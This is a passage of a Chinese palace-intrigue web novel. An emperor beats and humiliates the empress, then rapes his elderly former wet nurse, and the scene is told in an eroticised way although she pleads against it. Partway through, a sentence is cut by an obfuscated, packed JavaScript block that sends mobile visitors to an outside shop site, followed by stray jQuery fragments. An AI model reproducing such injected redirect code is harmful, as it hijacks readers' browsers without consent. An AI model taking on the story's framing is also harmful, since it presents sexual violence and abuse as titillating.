萧承乾回到了养心殿,一推开门就看见了金憨园在殿内等着他。金憨园手里狠狠绞着那张凤凰花手帕,脸上的焦急之色能溢出来,一看见萧承乾回来了,就吓得站起身,连忙前去问道:“皇上,您去哪里了?臣妾几乎派人找遍了整个皇宫,都快掘地三尺了,也找不见你的人影!你中了药效,万一进了后宫,被哪个狐狸精逮住了怎么办?皇上,您年少,可不知那些狐狸精的厉害……”
萧承乾见金憨园过来,衣袖一甩,无形中拦住了她,萧承乾站得直直的,看上去一表人才,面貌更是端肃严整,他冷声道:“贱人。装模作样给谁看?你真是想要朕吗?无非是怕别的妃子夺去你的恩宠罢了。朕今晚哪里也没去,只是去太医院吃了解药,省得你这贱人害苦了朕。”
见萧承乾仇恨她至深,娇宠长大的金憨园哪里受过这等委屈?她当即气哭了,闹腾着解开衣裳,露出了圆润肤白的香肩,朝萧承乾说道:“您是我的夫君!我想要您,怎么会有错呢?为何您宁愿外出躲避,也不肯宠幸我?您看看我这身材,青春貌美,正值羊脂玉露时,为什么您不想着来宠幸我呢!”
萧承乾睨了她一眼,金憨园的脸蛋确实长得像个麻子,其貌不扬,可她终究是个豆蔻初开的少女,身形也已经长开了,她的身体还带着青春少女特有的洒脱气息,她脸丑,可她身材却不丑。
然而这一切投在萧承乾这个被男人和大妈玩坏了的孽障眼里,无疑是媚眼抛给了变态看,萧承乾半点也看不懂她的青春靓丽在哪里,只觉得皇后这人跟鸡笼里的母鸡一样惯会上蹿下跳,母鸡都没她这么能折腾。
萧承乾当即扬起一巴掌,高高落下,狠狠地打在了金憨园脸上,将金憨园打得转了两回才跌倒在地上,嘴角挂着一丝被打出来的血丝,金憨园的衣服在打斗中解开得更凌乱了,然而这没什么卵用,并不会招来皇帝的怜香惜玉,美人惺惺作态更觉零落成泥。萧承乾大声骂道:“滚出朕的养心殿,你这个贱人!本就不守妇道,品格低劣,妄想下药毒害亲夫。现在更是摆出青楼作态,真是下贱!朕只恨朕为什么学不到更多的市井俗话骂你这个泼妇、贱人!从今天起,你给朕滚回坤宁宫禁足三个月,在宫里每天罚抄佛经三遍,在菩萨跟前学学怎样修心养性,好戒去你这不学无术的勾栏恶行!”
金憨园嚎啕大哭,连衣裳都顾不上整理,就被宫人拖了下去,嘴里还一直嚷着为什么皇上要如此恶待她,路上的太监和侍卫看见皇后娘娘衣裳不整,香肩□□半露,都低头匆匆走过,不敢参与皇家的丑闻。金憨园被关进了坤宁宫,满宫肃然,只有金憨园大哭的声音游荡在上空。
第二天,消息传到慈宁宫中,太后才睡醒,康福婆颤抖着手给太后梳头上妆,太后听闻金憨园的狼狈,只是叹息道:“罢了。哀家也没想到皇帝当真这么仇恨皇后,帝后二人才成婚,本是新婚燕尔之时,怎么会如同仇人见面分外眼红呢?想必是憨园这孩子没有福气了,天注定的事情,哀家身为她的姑母也爱莫能助了。虽说这药是哀家给的,可是,这不过是寻常夫妻间的乐趣,换一般人也就过去了。皇帝要是借这个由头大惩憨园,哀家也说不出什么话,只能委屈憨园禁足罚抄三个月了。对了,康福婆,你今日怎么手一直在抖呢?可是身体有哪里不舒服?”
康福婆吓得扔了梳子,跪在地上道罪,却也不知道该道个什么罪。要说皇帝昨晚确实中药了,十几岁的少年帝王,却是找的她这个四十岁的老太婆泄的火?要说帝后新婚燕尔却视同仇人,是因为有她这个老太婆夹在夫妻二人中间故作风情卖老来羞?康福婆早上起来这一动弹,还能感受到身体各处传来的疼痛,那少年帝王年少气盛果真是好功夫。
见康福婆在地上抖得越来越重,身子如同风中残烛,白发掺杂的脑袋紧紧抵着冰凉的地砖,却迟迟说不来是什么罪,金嬉娘忍不住笑了,轻轻扶起她的身子,温和道:“瞧你怕的,哀家又不是年轻时那幅脾气暴躁的模样了,人老了,难免有你头生华发、手抖如筛的症状,哀家也该学着宽容下人了,你就起来好好呆着吧,若是年龄大了梳不来妆发,就让给那些年轻的丫头,也好叫她们领点功劳去。”
康福婆这才谢了恩,福了身,起来退后到一旁候着,只是脑袋间已经密密麻麻地布满了冷汗。
日子又过去了几日,萧承乾却是忘不掉康福婆那副动情的模样。萧承乾只要想到康福婆平日里作为金嬉娘的大嬷嬷,凡事都要在金嬉娘身边掌管左右,在他御前挨训的时候,康福婆更是跟那些嬷嬷姑姑站一块,居高临下地看着他,可是昨晚不同了,昨晚位置调换过来了,是他居高临下地看着康福婆涕泗横流、连番求饶,康福婆成了那个受训挨罚的罪人,而他是掌管权力的主宰,只要一想到那权力的滋味,萧承乾就忍不住浑身颤抖,春心萌动如同鬼撞墙,怎么也绕不过这动人的一幕。
有天大本事的大嬷嬷,究其身份不过是一介奴婢!是贱婢,就该卧伏于他这个天子脚下,他蔑视着她,她就不能有抬起头的心思!萧承乾这么一想,更觉整个人血气方刚,还没泄火呢,就已经觉得飘飘然不似人间景了。
这天,萧承乾在御书房,情不自禁地铺起了笔墨纸砚,在纸上挥洒墨迹,不多时就画出了康福婆的模样,康福婆生得膀大腰圆,是个胖乎乎的喜气样,但他却将康福婆的衣裳画得凌乱,这一块,那一块,竟遮不住康福婆那臀肥大、腿有力、肩如锤的壮实样,更有神采点在康福婆的脸上入目三分,康福婆的表情不同于那些习惯了鄙夷地瞧着他的奴婢,康福婆的神态像是母亲的神态,那是一种真正的慈爱和包容,见着见着就忍不住心软成一滩春水了。
萧承乾开了窍,便老想着康福婆的曼妙身姿。到了晚上,萧承乾估摸着夜深人静,慈宁宫应当都睡下了,于是独自一人悄悄混入了慈宁宫,当萧承乾找到康福婆的时候,康福婆正好起夜床上夜尿,上完了,从茅房的方向正走过来呢。
康福婆手里还抓着自己的蓝紫色老布腰带,刚屙完尿,身上被夜风一吹就打了个哆
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17781357|210106||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
嗦,此时正睡眼迷瞪地朝着寝室走去,路人却隐约看见个人影,走近了,那轮廓越发熟悉,正是头戴金冠玉树临风的皇帝萧承乾!康福婆顿时看得三魂去了七魄,吓得手脚都不知道往哪放了,脸色更是白得跟僵尸复活一样。
那萧承乾却像是没看见康福婆撞鬼了的脸色一样,径直走上前,抱住了康福婆僵硬得像木头的身躯。康福婆也是生育过一个女儿的老母亲了,久经人事的她哪里看不懂萧承乾眼里的精光?那火光亮得在黑夜里都烧作一团,明亮得灼人。
康福婆欲哭无泪,低声劝道:“皇帝!老奴可是您的奶妈,您打小就吃过我的奶,老奴相当于是您的半个母亲!您怎么能对我起这种邪念呢?这可是大逆不道的事情呀!老奴不止残花败柳,还生过一个女儿,这样的残躯怎么能配得上您高贵无暇的龙体呢?”
萧承乾将她推倒在慈宁宫的银杏树上,一边解着裤腰带,一边恶狠狠地说:“要怪,就怪慈宁宫那个老妖婆去吧!要不是她讨嫌,你这个做下人的,也不至于替你主子受罪。也怪,怪你这老不羞的一大把年纪还敢勾引皇帝,你也知道皇帝是你的养子,比你小二十来岁呢!你真是个该死的老太婆,叫朕忘不掉你的魅力,就是你的原罪!”
萧承乾就这样扶着康福婆干了起来。两人的身后是一颗百年银杏树,许是凉风也给他们助兴,他们摇摇晃晃,树叶也跟着摇摇晃晃,一片片银杏叶落下,围绕在他们身边像一把把华丽的金色小扇子,这一幕竟也映得香艳无比。
康福婆老泪纵横,泪流干了,她不禁回想起这些年的经历。她在民间时,还是一个普通的民妇,生了一个面容朴素性情可爱的女儿,有着一个卖炊饼的丈夫,一家三口也算过得和乐。女儿生出乳牙能吃粥食后,她就进宫了,她想要应聘太子的奶娘,为此给丈夫女儿谋个更好的前途,给家里寄回更多的银子。后来,丈夫传来家书说女儿得了热病已经病死了,她甚至没来得及见女儿最后一面,那孩子在她怀里不过是两岁,从此就再也没有感受过母爱,还这么小的年纪就已经夭折了。
祭奠过女儿后,她还是得在皇宫里做奶娘,太子殿下还年幼,没来得及断奶,还需要依赖她这个奶娘。慢慢地,太子殿下断奶了,她却是做习惯了,宫外没了女儿,她也没了出宫的心思,干脆就留在皇后身边做起了嬷嬷,这一做,就做到了现在,皇后成了太后,太子成了皇帝,而她也成了慈宁宫最有名气的掌事女官。
这些年来,靠着她每年捐回家的银钱,她在民间的丈夫做起了生意买卖,据说那茶楼做得还不错。甚至在她寄回的家书鼓励下,她的丈夫听她的话去买了两个小妾,置了宅院,也生了儿子,看着丈夫过得幸福美满,康福婆心里也是乐滋滋的,正妻的位置还是她,等她百年归去,她的棺椁就能寄回老家,葬入夫家的祖坟受后世香火了。
这些故事过去多久了呢?已经过去十五年了。她进宫十五载,守贞至今,却在晚年失节,一身的污水泼得跳进黄河也洗不清了。